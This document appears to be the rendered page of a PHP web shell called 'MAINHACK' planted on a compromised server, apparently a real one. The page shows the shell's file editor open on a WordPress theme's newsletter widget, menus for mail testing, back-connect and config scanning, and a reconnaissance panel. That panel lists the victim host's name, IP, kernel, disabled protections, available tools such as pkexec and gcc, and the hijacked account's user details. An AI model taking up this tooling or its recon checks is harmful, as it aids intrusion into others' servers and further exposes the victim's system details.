[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: widget-newsletter.php
<?php class Newsletter_Widget extends WP_Widget { function __construct() { parent::__construct( 'newsletter_widget', esc_html__('* Newsletter', 'alico'), array('description' => esc_html__('Newsletter Widget', 'alico'),) ); } function widget($args, $instance) { extract($args); $title = isset($instance['title']) ? (!empty($instance['title']) ? $instance['title']: '') : ''; $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $introduction = isset($instance['introduction']) ? (!empty($instance['introduction']) ? $instance['introduction']: '') : ''; $email_label = isset($instance['email_label']) ? (!empty($instance['email_label']) ? $instance['email_label']: '') : ''; $contact_email = isset($instance['contact_email']) ? (!empty($instance['contact_email']) ? $instance['contact_email']: '') : ''; $contact_phone = isset($instance['contact_phone']) ? (!empty($instance['contact_phone']) ? $instance['contact_phone']: '') : ''; $phone_result = preg_replace('#[ () ]*#', '', $contact_phone); ?> <div class="ct-newsletter widget"> <?php if(!empty($title)) : echo wp_kses_post($args['before_title']) . wp_kses_post($title) . wp_kses_post($args['after_title']); endif; ?> <div class="ct-newsletter-holder"> <div class="ct-newsletter-introduction"><?php echo wp_kses_post( $introduction ); ?></div> <?php echo do_shortcode( '[newsletter_form contact_email="'.esc_html__('Subscribe', 'alico').'"][newsletter_field name="email" label="'.$email_label.'"][/newsletter_form]' ); ?> </div> </div> <?php } function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['introduction'] = strip_tags($new_instance['introduction']); $instance['email_label'] = strip_tags($new_instance['email_label']); $instance['contact_email'] = strip_tags($new_instance['contact_email']); $instance['contact_phone'] = strip_tags($new_instance['contact_phone']); return $instance; } function form( $instance ) { $title = isset($instance['title']) ? esc_attr($instance['title']) : ''; $introduction = isset($instance['introduction']) ? esc_attr($instance['introduction']) : ''; $email_label = isset($instance['email_label']) ? esc_attr($instance['email_label']) : ''; $contact_email = isset($instance['contact_email']) ? esc_attr($instance['contact_email']) : ''; $contact_phone = isset($instance['contact_phone']) ? esc_attr($instance['contact_phone']) : ''; ?> <p><label for="<?php echo esc_url($this->get_field_id('title')); ?>"><?php esc_html_e( 'Title', 'alico' ); ?></label> <input class="widefat" id="<?php echo esc_attr( $this->get_field_id('title') ); ?>" name="<?php echo esc_attr( $this->get_field_name('title') ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p> <p><label for="<?php echo esc_url($this->get_field_id('email_label')); ?>"><?php esc_html_e( 'Email Label', 'alico' ); ?></label> <input class="widefat" id="<?php echo esc_attr( $this->get_field_id('email_label') ); ?>" name="<?php echo esc_attr( $this->get_field_name('email_label') ); ?>" type="text" value="<?php echo esc_attr( $email_label ); ?>" /></p> <?php } } function register_newsletter_widget() { if(function_exists('ct_register_wp_widget')){ ct_register_wp_widget( 'Newsletter_Widget' ); } } add_action('widgets_init', 'register_newsletter_widget');
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002